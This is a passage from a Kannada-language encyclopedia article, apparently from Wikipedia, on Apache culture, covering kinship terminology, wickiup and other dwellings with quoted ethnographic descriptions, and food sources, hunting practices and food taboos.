ಸಹೋದರಿಗೆ ಕರೆಯುತ್ತಾರೆ. ಈ ಪದಗಳು ಪರಸ್ಪರ ಬಳಕೆಯಾಗುವುದಲ್ಲ. ಮೊಮ್ಮಗುವಿಗೆ ಒಂದೇಒಂದು ಪದವಿದೆ (ಲಿಂಗವನ್ನು ಗಮನಕ್ಕೆ ತಾರದೆ): ''-tsóyí̱í (ತ್ಸೋಯಿ)̱'' . ಪ್ರತಿ ಪಾಲಕರಿಗೂ ಎರಡು ಪದಗಳಿವೆ ಈ ಪದಗಳನ್ನು ಆ ಪಾಲಕರ ಅದೇ ಲಿಂಗದ ಸಂತಾನಕ್ಕೂ ಬಳಸುವರು: ''-ʼnííh (ನಿಹ್)'' "ತಾಯಿ ಅಥವಾ ತಾಯಿ ಕಡೆಯ ಚಿಕ್ಕಮ್ಮ (ತಾಯಿಯ ಸಹೋದರಿ)", ''-kaʼéé(ಕಾಯೀ)'' "ತಂದೆ ಅಥವಾ ತಂದೆ ಕಡೆಯಿಂದ ಚಿಕ್ಕಪ್ಪ (ತಂದೆಯ ಸಹೋದರ)". ಇದರ ಜೊತೆಗೆ, ಪಾಲಕರ ವಿರುದ್ಧ ಲಿಂಗಿ ಸಂತಾನಕ್ಕೆ ಅವರ ಲಿಂಗವನ್ನು ಅನುಸರಿಸಿ ಎರಡು ಪದಗಳು ಬಳಕೆಯಲ್ಲಿವೆ: ''-daʼá̱á̱(ದಾಆ)'' "ತಾಯಿ ಕಡೆಯಿಂದ ಮಾವ (ತಾಯಿಯ ಸಹೋದರ)", ''-béjéé(ಬೀಜಿ)'' "ತಂದೆ ಕಡೆಯಿಂದ ಅತ್ತೆ (ತಂದೆಯ ಸಹೋದರಿ). ಒಂದೇ ಲಿಂಗದ ಮತ್ತು ವಿರುದ್ಧ ಲಿಂಗದ ಸಂತಾನಕ್ಕೆ ಎರಡು ಪದಗಳನ್ನು ಬಳಸುತ್ತಾರೆ. ಈ ಪದಗಳನ್ನು ಸಮಾನಾಂತರ-ಸೋದರಸಂಬಂಧಿಗಳಿಗೆ: ''-kʼisé (ಕಿಸೆ)'' "ಒಂದೇ ರೀತಿ ಲಿಂಗದ ಸಂತಾನ ಅಥವಾ ಒಂದೇ ರೀತಿಯ ಲಿಂಗದ ಸಮಾನಾಂತರ ಸಹೋದರ ಸಂಬಂಧಿಗಳಿಗೆ (ಅದು. ಒಂದೇ-ಲಿಂಗಿ ತಂದೆಯ ಸಹೋದರನ ಮಗು ಅಥವಾ ತಾಯಿಯ ಸಹೋದರಿಯ ಮಗು)", ''-´-láh (ಲಾಹ್)'' "ವಿರುದ್ಧ-ಲಿಂಗಿ ಸಂತಾನ ಅಥವಾ ವಿರುದ್ಧ ಸಮಾನಾಂತರ ಸೋದರ ಸಂಬಂಧಿ (ಅದು. ವಿರುದ್ಧ-ಲಿಂಗಿ ತಂದೆಯ ಸಹೋದರನ ಮಗು ಅಥವಾ ತಾಯಿಯ ಸಹೋದರಿಯ ಮಗು)" ಇವರಿಗೂ ಬಳಸುತ್ತಾರೆ. ಈ ಎರಡು ಪದಗಳನ್ನು ಕತ್ತರಿ-ಸೋದರಸಂಬಂಧಿಗಳಿಗೂ ಬಳಸುತ್ತಾರೆ. ಇವಲ್ಲದೆ ಇನ್ನೂ ಮೂರು ಸಂತಾನದ ಪದಗಳು ಮಾತನಾಡುವವನ ವಯಸ್ಸಿಗೆ ಅನುಗುಣವಾಗಿ ಇವೆ: ''-ndádéé (ಎನ್ಡಾಡೀ)'' "ಹಿರಿಯ ಸಹೋದರಿ", ''-´-naʼá̱á̱ (ನಆ'' "ಹಿರಿಯ ಸಹೋದರ", ''-shdá̱zha (ಶ್ದಝಾ)'' "ಕಿರಿಯ ಸಂತಾನ (ಅದು. ಕಿರಿಯ ಸಹೋದರಿ ಅಥವಾ ಸಹೋದರ)". ಇದರ ಜೊತೆಯಲ್ಲಿ, ಕತ್ತರಿ-ಸೋದರಸಂಬಂಧಿಗಳಿಗೆ ಪ್ರತ್ಯೇಕ ಪದಗಳಿವೆ: ''-zeedń(ಝೀದ್ನ್'' "ಕತ್ತರಿ-ಸೋದರ ಸಂಬಂಧಿ (ಮಾತನಾಡುವವನದೇ-ಲಿಂಗದವರಿರಬಹುದು ಅಥವಾ ವಿರುದ್ಧ ಲಿಂಗದವರು ಇರಬಹುದು)", ''-iłnaaʼaash(ಇನಾಆಶ್'' "ಪುರುಷ ಕತ್ತರಿ-ಸೋದರ ಸಂಬಂಧಿ" (ಪುರುಷರು ಮಾತನಾಡುವಾಗ ಮಾತ್ರ ಬಳಸುವರು). ಒಬ್ಬ ಪಾಲಕರ ಮಗುವನ್ನು ಅವರ ಅದೇ ಲಿಂಗದ ಸಂತಾನದೊಂದಿಗೆ ವರ್ಗೀಕರಿಸುವರು. ಅಥವಾ ಅದೇ ಲಿಂಗದ ಸೋದರ ಸಂಬಂಧಿಯ ಮಗುವಿನೊಂದಿಗೆ: ''-zhácheʼe (ಝಾಚೆ)'' "ಮಗಳು, ಅದೇ-ಲಿಂಗಿ ಸಂತಾನದ ಮಗಳು, ಅದೇ-ಲಿಂಗಿ ಸೋದರ ಸಂಬಂಧಿಯ ಮಗಳು", ''-gheʼ(ಘೇ)'' "ಮಗ, ಅದೇ-ಲಿಂಗಿ ಸಂತಾನದ ಮಗ, ಅದೇ-ಲಿಂಗಿ ಸೋದರ ಸಂಬಂಧಿಯ ಮಗ". ವಿರುದ್ಧ-ಲಿಂಗಿ ಸಂತಾನದ ಮಗುವಿಗೆ ವಿವಿಧ ಪದಗಳಿವೆ: ''-daʼá̱á̱(ದಆ)'' "ವಿರುದ್ಧ-ಲಿಂಗಿ ಸಂತಾನದ ಮಗಳು", ''-daʼ(ದ)'' "ವಿರುದ್ಧ-ಲಿಂಗಿ ಸಂತಾನದ ಮಗ". === ವಸತಿ === [[ಚಿತ್ರ:Ribs of Apache wickiup.jpg|thumb|250px|ಅಪಾಚೆ ಗುಡಿಸಲಿನ ಚೌಕಟ್ಟು]] ಎಲ್ಲ ಅಪಾಚೆ ಬುಡಕಟ್ಟಿನ ಜನರು ಮೂರು ರೀತಿಯ ಮನಗಳಲ್ಲಿ ಒಂದರಲ್ಲಿ ವಾಸಿಸುವರು. ಇವುಗಳಲ್ಲಿ ಮೊದಲಿನದು ಟೀಪೀ, ಇದರಲ್ಲಿ ಬಯಲುಸೀಮೆ ವಾಸಿಗಳು ವಾಸಿಸುವರು. ಇನ್ನೊಂದು ರೀತಿಯ ಮನೆ ವಿಕಿಅಪ್, ಇದು ಎಂಟು ಅಡಿ ಎತ್ತರದ ಕಟ್ಟಿಗೆಯ ಚೌಕಟ್ಟನ್ನು ಹೊಂದಿದ್ದು ಕತ್ತಾಳೆಯನ್ನು ಹೋಲುವ ಯಕ ಮರದ ನಾರು ಬಳಸಿ ಕಟ್ಟಿರುತ್ತಾರೆ. ಇದಕ್ಕೆ ಇದಕ್ಕೆಕುರುಚಲು ಪೊದೆಗಳ ಮುಚ್ಚಿಗೆ ಮಾಡಿರುತ್ತಾರೆ. ಪ್ರಸ್ಥಭೂಮಿಗಳಲ್ಲಿ ಇರುವ ಅಪಾಚೆ ಗುಂಪಿನವರು ಇದನ್ನು ಬಳಸುತ್ತಾರೆ. ವಿಕಿಅಪ್್ನಲ್ಲಿ ವಾಸಿಸುವ ಕುಟುಂಬದ ಸದಸ್ಯರಲ್ಲಿ ಒಬ್ಬರು ನಿಧನರಾದರೆ ಆ ವಿಕಿಅಪ್್ಅನ್ನು ಸುಟ್ಟುಹಾಕುವರು. ಕೊನೆಯ ಮನೆ ಹೋಗನ್, ಮರುಭೂಮಿ ಪ್ರದೇಶದಲ್ಲಿ ಕಟ್ಟುವ ಮಣ್ಣಿನ ರಚನೆ. ಇದು ಉತ್ತರ ಮೆಕ್ಸಿಕೋದ ಬಿಸಿಯಾದ ವಾತಾವರಣದಲ್ಲಿ ತಂಪನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲು ನೆರವಾಗುತ್ತದೆ. ಇದು ನೆರವಾಗುತ್ತದೆ. ಮಾನವಶಾಸ್ತ್ರಜ್ಞ ಮೊರಿಸ್ ಓಪ್ಲರ್ ದಾಖಲಿಸಿದ ಚಿರಿಕಹುಆ ವಿಕಿಅಪ್್ಗಳ ವಿವರಣೆಯು ಕೆಳಗಿದೆ: : :: ಕುಟುಂಬವು ವಾಸಿಸುವ ಮನೆಯನ್ನು ಮಹಿಳೆಯರು ನಿರ್ಮಿಸುತ್ತಾರೆ. ಇದು ಸಾಮಾನ್ಯವಾದ ವರ್ತುಳವಾಗಿರುವ, ಗುಂಬಜಾಕಾರದ, ಪೊದೆಗಳಿಂದ ಮುಚ್ಚಿದ ಮನೆ, ಮನೆಯ ನೆಲವು ಭೂಮಿ ಮಟ್ಟದಲ್ಲಿ ಇರುವುದು. ಇದು ಮಧ್ಯದಲ್ಲಿ ಏಳು ಅಡಿ ಎತ್ತರವಾಗಿರುತ್ತದೆ. ಮತ್ತು ಸುಮಾರು ಎಂಟು ಅಡಿ ಸುತ್ತಳತೆಯದಾಗಿರುತ್ತದೆ. ಇದನ್ನು ನಿರ್ಮಿಸಲು ಓಕ್ ಅಥವಾ ವಿಲ್ಲೋ ಮರಗಳ ಉದ್ದವಾದ ಹೊಸ ಕಂಬಗಳನ್ನು ಬಳಸುತ್ತಾರೆ. ಅವನ್ನು ಎಳೆದು ತಂದು ಅಗೆಯುವ ಕೋಲುಗಳಿಂದ ಕುಣಿಗಳನ್ನು ಮಾಡಿ ನಿಲ್ಲಿಸುತ್ತಾರೆ. ಈ ಕಂಬಗಳು ಚೌಕಟ್ಟನ್ನು ರೂಪಿಸುತ್ತವೆ. ಇವನ್ನು ಪ್ರತಿ ಒಂದು ಅಡಿ ಅಂತರದಲ್ಲಿ ಮಾಡುವರು. ತುದಿಯಲ್ಲಿ ಇವನ್ನು ಯಕ-ಎಲೆಯ ಹಗ್ಗದಿಂದ ಬಂಧಿಸುವರು ಅವುಗಳ ಮೇಲೆ ದೊಡ್ಡ ನೀಲಿದಂಟಿನ ಹುಲ್ಲನ್ನು ಅಥವಾ ಕರಡಿ ಹುಲ್ಲನ್ನು ಮುಚ್ಚಿ ಕಟ್ಟಿ ಚಾವಣಿ ಮಾಡುವರು. ಹಂಚಿನ ಹಲಗೆಗಳನ್ನು ಮುಚ್ಚುವರು, ಯಕದ ಹಗ್ಗದಿಂದ ಕಟ್ಟುವರು. ಮನೆಯಲ್ಲಿ ಬೆಂಕಿ ಉರಿಸುವ ಸ್ಥಳದ ಮಧ್ಯದಲ್ಲಿ ಹೊಗೆಗಂಡಿಯನ್ನು ಇರಿಸುವರು. ಒಂದು ಚರ್ಮವನ್ನು ಬಾಗಿಲ್ಲಿ ತೂಗುವರು. ಇದನ್ನು ಕತ್ತರಿ ದಂಡದ ಮೇಲೆ ಅಂಟಿಸುವರು. ಹೀಗೆ ಮಾಡುವುದರಿಂದ ಅದು ಮುಂದೆ ಹಿಂದೆ ತೂಗಾಡುತ್ತದೆ. ಬಾಗಿಲು ಮುಖ ಯಾವ ದಿಕ್ಕಿನಲ್ಲೂ ಇರಬಹುದು. ನೀರು ಸೋರದಂತೆ ಮಾಡಲು ಚರ್ಮದ ಚೂರುಗಳನ್ನು ಚಾವಣಿಯ ಹೊರಭಾಗದ ಮೇಲೆ ಎಸೆಯುವರು. ಮಳೆಗಾಲದಲ್ಲಿ ಬೆಂಕಿಯು ಅಗತ್ಯವಿಲ್ಲ ಎಂದಾದರೆ ಹೊಗೆಗಂಡಿಯನ್ನೂ ಮುಚ್ಚುವರು. ಬೆಚ್ಚಗಿನ ಮತ್ತು ಒಣ ಹವಾಮಾನದಲ್ಲಿ ಹೊರ ಚಾವಣಿಯ ಬಹುಭಾಗವನ್ನು ಸೀಳಿಹಾಕುವರು. ಈ ರೀತಿಯ ಗಟ್ಟಿಮುಟ್ಟಾದ ಮನೆಯನ್ನು ನಿರ್ಮಿಸಲು ಹೆಚ್ಚುಕಡಿಮೆ ಮೂರು ದಿನಗಳು ಬೇಕಾಗುತ್ತವೆ. ‘ಭಾರೀ ಮಂಜು ಇದ್ದರೂ ಈ ಮನೆಗಳು ಬೆಚ್ಚಗಿದ್ದು ಅನುಕೂಲಕರವಾಗಿರುತ್ತವೆ.’ ಮನೆಯ ಒಳಗೆ ಪೊದೆ ಮತ್ತು ಹುಲ್ಲುಗಳಿಂದ ಮಾಡಿದ ಹಾಸುಗೆ, ಅದರ ಮೇಲೆ ತುಪ್ಪಳಿನ ಕಂಬಳಿಯನ್ನು ಹಾಸಿರುತ್ತಾರೆ...." [[ಚಿತ್ರ:Chiricahua medicine man.jpg|thumb|250px|ಚಿರಿಕಹುಆ ವೈದ್ಯಕೀಯ ವ್ಯಕ್ತಿ ಹುಲ್ಲು ಹೊದೆಸಿದ ಗುಡಿಸಿಲಿನಲ್ಲಿ ಕುಟುಂಬದೊಂದಿಗೆ.]] : :: "ಮಹಿಳೆಯರು ಮನೆಯನ್ನು ವಾಸಯೋಗ್ಯವಾಗಿ ಸಜ್ಜುಗೊಳಿಸುವುದಷ್ಟೇ ಅಲ್ಲ, ಅದನ್ನು ನಿರ್ಮಿಸುವುದಕ್ಕೂ, ನಿರ್ವಹಿಸುವುದಕ್ಕೂ ಮತ್ತು ದುರಸ್ತಿ ಮಾಡುವುದಕ್ಕೂ ಹೊಣೆಯಾಗಿರುತ್ತಾರೆ. ಮತ್ತು ಅದರಲ್ಲಿಯ ಎಲ್ಲ ವ್ಯವಸ್ಥೆಗೂ ಅವರೇ ಹೊಣೆ. ಅವಳು ಹುಲ್ಲು ಮತ್ತು ಪೊದೆಗಳ ಹಾಸುಗೆಯನ್ನು ಒದಗಿಸುತ್ತಾಳೆ ಮತ್ತು ಅವು ಬಹಳ ಹಳೆಯವು ಮತ್ತು ಒಣಗಿದವೂ ಆದಾಗ ಅವನ್ನು ಬಲಿಸುತ್ತಾಳೆ... ಏನಿದ್ದರೂ, ಹಿಂದಿನ ಕಾಲದಲ್ಲಿ ‘ಅವರಿಗೆ ಶಾಶ್ವತ ಮನೆಗಳು ಇರಲಿಲ್ಲ. ಹೀಗಾಗಿ ಅವರು ಸ್ವಚ್ಛಗೊಳಿಸುವ ಬಗ್ಗೆ ತಲೆಕೆಡಿಸಿಕೊಳ್ಳುತ್ತಿರಲಿಲ್ಲ.’ ಗುಮ್ಮಟಾಕಾರದ ವಸತಿ ಅಥವಾ ವಿಕಿಅಪ್, ಚಿರಿಕಹುಆ ಬ್ಯಾಂಡ್್ನವರಿಗೆ ಅದೇ ಸಾಮಾನ್ಯವಾದ ಮನೆಯ ರೀತಿ ಈಗಾಗಲೆ ವರ್ಣಿಸಲಾಗಿದೆ.... ಕೇಂದ್ರ ಚಿರಿಕಹುಆ ಮಾಹಿತಿದಾರ ಹೇಳಿದ: : :: ::: '' ಟೇಪೀ ಮತ್ತು ಮೊಟ್ಟೆಯಾಕಾರದ ಮನೆಗಳು ನಾನು ಹುಡುಗನಾಗಿದ್ದಾಗ ಬಳಕೆಯಲ್ಲಿದ್ದವು. '' ''ಮೊಟ್ಟೆಯಾಕಾರದ ಗುಡಿಸಲನ್ನು ಚರ್ಮದಿಂದ ಮುಚ್ಚಿರುತ್ತಿದ್ದರು ಮತ್ತು ಅವು ಅತ್ಯುತ್ತಮ ಮನೆಗಳಾಗಿದ್ದವು. '' ''ಹೆಚ್ಚು ಚೆನ್ನಾಗಿರಬೇಕೆನ್ನುವವರು ಈ ರೀತಿಯವನ್ನು ಹೊಂದಿರುತ್ತಿದ್ದರು. '' ''ಟೇಪೀ ರೀತಿಯವನ್ನು ಕೇವಲ ಕುರುಚಲು ಪೊದೆಗಳಿಂದ ಮಾಡುತ್ತಿದ್ದರು. '' ''ಇದರ ಮಧ್ಯದಲ್ಲಿ ಬೆಂಕಿಗೆ ಒಂದು ಸ್ಥಳ ಇರುತ್ತಿತ್ತು. '' ''ಇದನ್ನು ಸುಮ್ಮನೆ ಒಟ್ಟಿಗೆ ಎಸೆಯುವಂಥದ್ದು. '' ''ನನ್ನ ಕಾಲಕ್ಕಿಂತಲೂ ಮೊದಲು ಇವೆರಡೂ ರೀತಿಯವು ಸಾಮಾನ್ಯವಾಗಿದ್ದವು..... '' : :: "ಹೆಚ್ಚು ಸಾಮಾನ್ಯವಾಗಿರುವ ಗುಮ್ಮಟಾಕಾರದ ವೈವಿಧ್ಯಕ್ಕಿಂತ ಭಿನ್ನವಾಗಿರುವ ಒಂದು ಮನೆಯ ರೀತಿಯು ದಕ್ಷಿಣದ ಚಿರಿಕಹುಆದವರದು ಹೀಗೆ ದಾಖಲಾಗಿದೆ: : :: ::: ''...'' ''ನಾವು ಒಂದು ಕಡೆ ನೆಲೆನಿಂತ ಮೇಲೆ ನಾವು ವಿಕಿಅಪ್್ಗಳನ್ನು ರೂಡಿಸಿಕೊಂಡೆವು. ನಾವು ಒಂದೆಡೆಯಿಂದ ಇನ್ನೊಂದೆಡೆ ಸಂಚರಿಸುತ್ತಿದ್ದಾಗ ಬೇರೆರೀತಿಯದನ್ನು ಬಳಸುತ್ತಿದ್ದೆವು.'' "<ref>ಓಪ್ಲರ್, 1941, ಪುಟಗಳು.22–23, 385–386</ref> ಇತ್ತೀಚಿನ ಸಂಶೋಧನೆಗಳು ಚಿರಿಕಹುಆ ಅಪಾಚೆಯವರ ವಿಕಿಅಪ್್ಗಳ ಪುರಾತತ್ವ ಅವಶೇಷಗಳನ್ನು ದಾಖಲುಮಾಡಿಕೊಂಡಿವೆ. ಇತಿಹಾಸ ಪೂರ್ವಕಾಲದ ಮತ್ತು ಇತಿಹಾಸ ಕಾಲದ ಸ್ಥಳಗಳಾದ ಕನನ್ ಡೆ ಲಾಸ್ ಎಂಬುಡೋಸ್ ಮೊದಲಾದೆಡೆ ಸಿ.ಎಸ್. ಫ್ಲೈ ಗೆರೆನಿಮೋ, ಆತನ ಜನರು ಮತ್ತು 1886ರಲ್ಲಿ ಶರಣಾಗತಿಯ ಮಾತುಕತೆಗಳು ನಡೆ ವಸತಿಗಳ ಫೋಟೋಗಳನ್ನು ತೆಗೆದಿದ್ದಾರೆ. ಇವು ಅವರ ಅಡೆತಡೆ ಒಡ್ಡದ ಮತ್ತು ಸುಧಾರಿಸಿದ ಸ್ವಭಾವವನ್ನು ಪ್ರದರ್ಶಿಸುತ್ತದೆ. "<ref>ಸೇಮೌರ್ 2009ಎ, 2010ಬಿ</ref> === ಆಹಾರ === [[ಚಿತ್ರ:Apache-still-life restored-2.jpg|thumb|190px|ಅಪಾಚೆಯವರ ವಿವಿಧ ಸಂಗ್ರಹ ಸಾಧನ: ಬುಟ್ಟಿಗಳು, ಬೊಗಾಣಿಗಳು ಮತ್ತು ಭರಣಿಗಳು.ಮಹಿಳೆಯರು ಮಾಡಿದ ಬುಟ್ಟಿ, ಭಾರವಾದ ವಸ್ತುಗಳನ್ನೂ ತಾಳಿಕೊಳ್ಳುವುದು. ಇದನ್ನು ಮುಖ್ಯವಾಗಿ ಕತ್ತಾಳೆಯನ್ನು ಹೋಲುವ (yucca)ಸಸ್ಯದಿಂದ ಅಥವಾ ವಿಲೋ ಮರದ (ನೀರು ಹಬ್ಬೆ ಗಿಡ)ಎಲೆಗಳಿಂದ ಅಥವಾ ಜೂನಿಪೆರ್ ತೊಗಟೆಯಿಂದ ತಯಾರಿಸುವರು. ದಿ ಅಪಾಚೆ , ಮಾರ್ಶಲ್ ಕಾವೆನ್ದಿಶ್ , 2006, ಪು. 18</ಉಲ್ಲೇಖ>]] ಅಪಾಚೆ ಜನರು ಆಹಾರವನ್ನು ನಾಲ್ಕು ಪ್ರಮುಖ ಮೂಲಗಳಿಂದ ಪಡೆದು ಕೊಳ್ಳುತ್ತಿದ್ದರು.<ref>ಅಪಾಚೆ ವಾಸ್ತವಾಂಶದ ಮಾಹಿತಿ ಬಾಸ್ಸೋದಲ್ಲಿದೆ.(1983: 467–470), ಫೋಸ್ಟರ್ ಮತ್ತು ಮೆಕ್ ಕೊಲ್ ಮತ್ತು ಮೆಕೊಲಫ್ (2001: 928–929), ಓಪ್ಲರ್ (1936b: 205–210; 1941: 316–336, 354–375; 1983b: 412–413; 1983c: 431–432; 2001: 945–947), ಮತ್ತು ಟಿಲ್ಲರ್ (1983: 441–442).</ref> * ಕಾಡುಪ್ರಾಣಿಗಳನ್ನು ಬೇಟೆಯಾಡುವುದು * ಕಾಡುಸಸ್ಯಗಳನ್ನು ಒಟ್ಟುಹಾಕುವುದು, * ಒಗ್ಗಿಸಿದ ಸಸ್ಯಗಳನ್ನು ಬೆಳೆಯುವುದು * ಜಾನುವಾರು ಮತ್ತು ಕೃಷಿ ಉತ್ಪನ್ನಕ್ಕಾಗಿ ನೆರೆಯ ಬುಡಕಟ್ಟಿನವರ ಜೊತೆ ವ್ಯಾಪಾರ ಅಥವಾ ದಾಳಿ. ಪಶ್ಚಿಮದ ಅಪಾಚೆಯವರ ಆಹಾರದಲ್ಲಿ ಶೇ.35-4೦ ಮಾಂಸ ಮತ್ತು ಶೇ.60-65 ಸಸ್ಯಾಹಾರವು ಸೇರಿದೆ. ಬೇರೆಬೇರೆ ಅಪಾಚೆಯ ಬುಡಕಟ್ಟಿನವರು ವಿಭಿನ್ನ ವಾತಾವರಣದಲ್ಲಿ ಬದುಕುತ್ತಿರುವುದರಿಂದ ಅವರ ನಿರ್ದಿಷ್ಟವಾದ ಆಹಾರ ತಿನ್ನುವ ಕ್ರಮವು ಆಯಾ ವಾತಾವರಣಕ್ಕೆ ಅನುಗುಣವಾಗಿ ಭಿನ್ನವಾಗಿರುತ್ತವೆ. ==== ಬೇಟೆ ==== ಮೂಲತಃ ಪುರುಷರೇ ಬೇಟೆಯಾಡುವುದು. ಹೀಗಿದ್ದರೂ ಪ್ರಾಣಿ ಮತ್ತು ಸಂಸ್ಕೃತಿಗೆ ಅನುಗುಣವಾಗಿ ಅಪವಾದಗಳು ಇವೆ. (ಉದಾ- ಲಿಪಾನ್ ಮಹಿಳೆಯರು ಮೊಲಗಳ ಬೇಟೆಯಾಡುವುದರಲ್ಲಿ ನೆರವಾದರೆ ಚಿರಿಕಹುಆ ಹುಡುಗರಿಗೂ ಮೊಲಗಳ ಬೇಟೆಗೆ ಅವಕಾಶ ಇದೆ.) ಬೇಟೆಗೂ ಭಾರೀ ಎನ್ನುವಂಥ ಸಿದ್ಧತೆಗಳಿವೆ. ಬೇಟೆಗೆ ಮೊದಲು ಮತ್ತು ನಂತರ ವೈದ್ಯ ವ್ಯಕ್ತಿ ಉಪವಾಸ ಮತ್ತು ಧಾರ್ಮಿಕ ಪದ್ಧತಿಗಳನ್ನು ನಡೆಸುತ್ತಾನೆ. ಲಿಪಾನ್ ಸಂಸ್ಕೃತಿಯಲ್ಲಿ ಜಿಂಕೆಗಳನ್ನು ಪರ್ವತ ಶಕ್ತಿಗಳು ಕಾಪಾಡುತ್ತವೆ. ಜಿಂಕೆಗಳ ಬೇಟೆ ಸುರಕ್ಷಿತವಾಗಿ ನಡೆಯುವುದನ್ನು ಖಚಿತಪಡಿಸಿಕೊಳ್ಳುವುದಕ್ಕಾಗಿ ಪರ್ವತ ಶಕ್ತಿಯ ಧಾರ್ಮಿಕ ವಿಧಿಗಳನ್ನು ಅತ್ಯಂತ ಎಚ್ಚರಿಕೆಯಿಂದ ನಡೆಸುತ್ತಾರೆ. ನಿರ್ದಿಷ್ಟ ಧಾರ್ಮಿಕ ನಿಯಮಗಳಿಗೆ ಅನುಗುಣವಾಗಿ ಪ್ರಾಣಿಬಲಿಯನ್ನೂ ಕೊಡಲಾಗುತ್ತದೆ. (ಅವುಗಳಲ್ಲಿ ಹಲವು ಧಾರ್ಮಿಕ ಕತೆಗಳಲ್ಲಿ ದಾಖಲಾಗಿದೆ.) ಪ್ರಾಣಿಗಳನ್ನು ಹೇಗೆ ಕತ್ತರಿಸಬೇಕು, ಯಾವ ಪ್ರಾರ್ಥನೆಯನ್ನು ಪಠಿಸಬೇಕು ಮತ್ತು ಯಾವ ಕ್ರಮದಲ್ಲಿ ಎಲುಬುಗಳನ್ನು ವಿಲೆ ಮಾಡಬೇಕು ಎಂಬುದಕ್ಕೂ ನಿಯಮಗಳಿವೆ. ದಕ್ಷಿಣದ ಅಥಾಬಾಸ್ಕನ್ ಬೇಟೆಗಾರರಲ್ಲಿರುವ ಸಾಮಾನ್ಯವಾದ ಪರಿಪಾಠವೆಂದರೆ ಯಶಸ್ವಿಯಾಗಿ ಹತ್ಯೆ ಮಾಡಿದ್ದನ್ನು ವಿತರಿಸುವ ಆಟ. ಉದಾಹರಣೆಗೆ ಮೆಸ್ಕಲೆರೋಗಳಲ್ಲಿ ಒಬ್ಬ ಬೇಟೆಗಾರ ತನ್ನ ಜೊತೆ ಬೇಟೆಗಾರನೊಂದಿಗೆ ಮತ್ತು ಶಿಬಿರದಲ್ಲಿರುವ ಇತರ ಆಹಾರ ಅಗತ್ಯವಿರುವ ಜನರೊಂದಿಗೆ ಬೇಟೆಯಲ್ಲಿ ಸಮಪಾಲನ್ನು ಮಾಡಿಕೊಳ್ಳುತ್ತಾರೆ. ವೈಯಕ್ತಿಕ ಕಾಳಜಿಯ ಭಾವನೆಯು ಸಾಮಾಜಿಕ ಹೊಣೆಗಾರಿಕೆಯ ಪರಿಪಾಠವನ್ನು ಮತ್ತು ತನ್ನಿಂದತಾನೆ ಉಕ್ಕುವ ಔದಾರ್ಯವನ್ನು ಹೇಳುತ್ತದೆ. ಯುರೋಪಿನ ಬಂದೂಕುಗಳ ಪರಿಚಯವಾಗುವುದಕ್ಕೆ ಮೊದಲು ಅತ್ಯಂತ ಸಾಮಾನ್ಯವಾದ ಬೇಟೆಯ ಆಯುಧ ಬಿಲ್ಲು ಮತ್ತು ಬಾಣ. ವಿವಿಧ ಬೇಟೆಗಾರಿಕೆಯ ತಂತ್ರಗಳನ್ನು ಬಳಸುತ್ತಿದ್ದರು. ಮಾರುವೇಷದಲ್ಲಿ ಪ್ರಾಣಿಗಳ ತಲೆಗಳ ಮುಖವಾಡವನ್ನು ಧರಿಸುವುದು ಕೆಲವು ತಂತ್ರಗಳಲ್ಲಿ ಸೇರಿದೆ. ಪ್ರಾಣಿಗಳನ್ನು ಹತ್ತಿರಕ್ಕೆ ಸೆಳೆಯಲು ಸಿಳ್ಳುಗಳನ್ನು ಕೆಲವುಸಲ ಹಾಕುವುದೂ ಇತ್ತು. ಇನ್ನೊಂದು ತಂತ್ರ ರಿಲೇ ಪದ್ಧತಿ, ಇದರಲ್ಲಿ ಬೇಟೆಗಾರರು ವಿವಿಧ ಸ್ಥಳಗಳಲ್ಲಿ ನಿಂತುಕೊಂಡು ಬೇಟೆಯ ಪ್ರಾಣಿಯನ್ನು ಓಡಿಸುತ್ತಿದ್ದರು. ಹೀಗೆ ಮಾಡಿ ಆ ಪ್ರಾಣಿ ಆಯಾಸಗೊಳ್ಳುವಂತೆ ಮಾಡುತ್ತಿದ್ದರು. ಬಲಿ ಪ್ರಾಣಿಯನ್ನು ಇಕ್ಕಟ್ಟಾದ ಬಂಡೆಯ ಸಂದಿಗೆ ಬೆನ್ನಟ್ಟಿಕೊಂಡು ಹೋಗುವುದರಲ್ಲಿಯೂ ಇದೇ ರೀತಿಯ ಪದ್ಧತಿ ಇತ್ತು. ನಿರ್ದಿಷ್ಟ ಪ್ರಾಣಿಗಳನ್ನು ತಿನ್ನುವುದಕ್ಕೆ ನಿಷೇಧವಿತ್ತು. ಹೀಗಿದ್ದರೂ ಬೇರೆಬೇರೆ ಸಂಸ್ಕೃತಿಯಲ್ಲಿ ಬೇರೆಬೇರೆ ನಿಷೇಧವಿದೆ. ನಿಷೇಧದ ಪ್ರಾಣಿಯ ಕೆಲವು ಸಾಮಾನ್ಯ ಉದಾಹರಣೆಯಲ್ಲಿ ಜಿಂಕೆಗಳು, ಹಿಂಡಿನಲ್ಲಿ ವಾಸಿಸುವ ಸಣ್ಣ ಕಾಡುಹಂದಿಗಳು, ಟರ್ಕಿಗಳು, ಮೀನು, ಹಾವುಗಳು, ಕೀಟಗಳು, ಗೂಬೆಳು ಮತ್ತು ಹುಲ್ಲುಗಾವಲಿನ ಚಿಕ್ಕ ತೋಳ ಸೇರಿವೆ. ನಿಷೇಧದಲ್ಲಿಯೂ ಭಿನ್ನತೆ ಇರುವುದಕ್ಕೆ ಒಂದು ಉದಾಹರಣೆ: ಕಪ್ಪು ಜಿಂಕೆ ಲಿಪಾನರ ಭಕ್ಷ್ಯಗಳಲ್ಲಿ ಒಂದು. (ಹೀಗಿದ್ದರೂ ಎಮ್ಮೆಗಳು, ಜಿಂಕೆ ಅಥವಾ ಎರಳೆಯಷ್ಟು ಸಾಮಾನಯವಲ್ಲ) ಆದರೆ ಜಿಕಾರಿಲ್ಲಾ ಕರಡಿಯನ್ನು ಯಾವತ್ತೂ ತಿನ್ನುವುದಿಲ್ಲ, ಏಕೆಂದರೆ ಅದನ್ನು ಕೆಟ್ಟ ಪ್ರಾಣಿಯೆಂದು ಪರಿಗಣಿಸಿದ್ದಾರೆ. ಕೆಲವು ನಿಷೇಧಗಳು ಪ್ರಾದೇಶಿಕ ಪ್ರಕ್ರಿಯೆಗಳು. ಮೀನು ತಿನ್ನುವುದು, ಇದಕ್ಕೆ ನೈಋತ್ಯ ಭಾಗದಲ್ಲೆಲ್ಲ ನಿಷೇಧವಿದೆ. (ಉದಾ: ಕೆಲವು ಪೆಬ್ಲೋ ಸಂಸ್ಕೃತಿಗಳಾದ ಹೋಪಿ ಮತ್ತು ಝುನಿಗಳಲ್ಲಿ) ದೈಹಿಕ ಸ್ವರೂಪದಲ್ಲಿ ಹಾವಿನಂಥ (ಒಂದು 